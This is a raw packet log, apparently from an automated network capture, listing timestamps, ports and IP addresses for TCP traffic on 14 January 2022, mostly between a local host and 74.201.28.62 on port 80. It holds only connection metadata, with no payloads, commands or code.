Jan 14, 2022 20:30:06.374861956 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.374865055 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.374882936 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.374891996 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.374902964 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.374924898 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.374933004 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.374946117 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.374967098 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.374969006 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.374988079 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375008106 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375027895 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375027895 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.375049114 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375061989 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.375067949 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375089884 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375108957 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.375111103 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375133038 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375143051 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.375154018 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375173092 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375181913 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.375193119 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375212908 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375221968 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.375231981 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375252008 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375271082 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375273943 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.375291109 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375310898 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375312090 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.375330925 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375338078 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.375351906 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375370026 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375379086 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.375390053 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375408888 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375418901 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.375428915 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375439882 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.375449896 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375471115 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375492096 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375495911 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.375511885 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375531912 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375538111 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.375554085 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375572920 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375576019 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.375592947 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375612974 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375617027 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.375633001 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375650883 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375653982 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.375672102 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375690937 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.375694036 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.375746965 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.432688951 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.432710886 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.432836056 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.438045025 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.438056946 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.438143969 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.452331066 CET	49886	80	192.168.2.4	185.163.45.70
Jan 14, 2022 20:30:06.477902889 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.477931023 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.477948904 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.477965117 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.477981091 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.477998018 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478013992 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478029966 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478046894 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478063107 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478068113 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478080988 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478099108 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478110075 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478116035 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478120089 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478136063 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478152990 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478169918 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478171110 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478188992 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478205919 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478207111 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478221893 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478224039 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478240967 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478256941 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478274107 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478274107 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478291035 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478298903 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478307962 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478321075 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478327036 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478343964 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478359938 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478370905 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478377104 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478389978 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478393078 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478410006 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478425980 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478430986 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478440046 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478456974 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478457928 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478472948 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478490114 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478498936 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478507042 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478523016 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478522062 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478538990 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478554964 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478555918 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478573084 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478590012 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478596926 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478605032 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478620052 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478622913 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478640079 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478655100 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478655100 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478672028 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478688002 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478693962 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478703976 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.478717089 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.478756905 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.576944113 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577004910 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577049017 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577085972 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577086926 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.577126980 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577168941 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577174902 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.577209949 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577230930 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.577251911 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577301979 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577318907 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.577347040 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577389002 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577403069 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.577430010 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577471018 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577485085 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.577511072 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577548981 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577588081 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577600956 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.577629089 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577666044 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577678919 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.577707052 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577712059 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.577745914 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577800035 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577807903 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.577840090 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577893972 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.577924967 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.577963114 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578002930 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578042984 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578078985 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.578099012 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578140020 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578155041 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.578180075 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578190088 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.578219891 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578258991 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578273058 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.578298092 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578336954 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578346014 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.578377962 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578413963 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578428984 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.578454018 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578491926 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578527927 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578541994 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.578566074 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578579903 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.578605890 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578644991 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578654051 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.578685999 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578722954 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578737974 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.578762054 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578802109 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578839064 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578852892 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.578879118 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578916073 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578932047 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.578955889 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.578962088 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.578995943 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579031944 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579070091 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579078913 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.579108953 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579144955 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579159021 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.579185009 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579191923 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.579225063 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579262972 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579278946 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.579313993 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579361916 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579365015 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.579400063 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579437971 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579476118 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579484940 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.579513073 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579550982 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579564095 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.579588890 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579596996 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.579628944 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579668045 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579704046 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579719067 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.579742908 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579786062 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579798937 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.579844952 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579894066 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579900026 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.579932928 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.579947948 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.579973936 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.580013037 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.580025911 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.653548956 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.673624992 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.677903891 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.678111076 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678172112 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678214073 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678236961 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.678261995 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678304911 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678347111 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678361893 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.678390980 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678395987 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.678432941 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678472996 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678514957 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678534031 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.678558111 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678571939 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.678596020 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678637981 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678647041 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.678679943 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678718090 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678733110 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.678761005 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678800106 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678817987 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.678843975 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678884983 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678922892 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.678936958 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.678965092 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679006100 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679023027 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.679044962 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679085016 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679099083 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.679126024 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679164886 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679179907 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.679207087 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679245949 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679267883 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.679289103 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679328918 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679342985 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.679367065 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679405928 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679425001 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.679446936 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679486036 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679501057 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.679527044 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679564953 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679583073 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.679604053 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679642916 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679661989 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.679681063 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679722071 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679738998 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.679759979 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679811954 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679814100 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.679874897 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679915905 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679954052 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.679955006 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.679969072 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.679995060 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680032015 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680071115 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680092096 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.680133104 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680139065 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.680174112 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680212021 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680232048 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.680252075 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680296898 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680336952 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680354118 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.680377007 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680391073 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.680413961 CET	80	49891	74.201.28.62	192.168.2.4
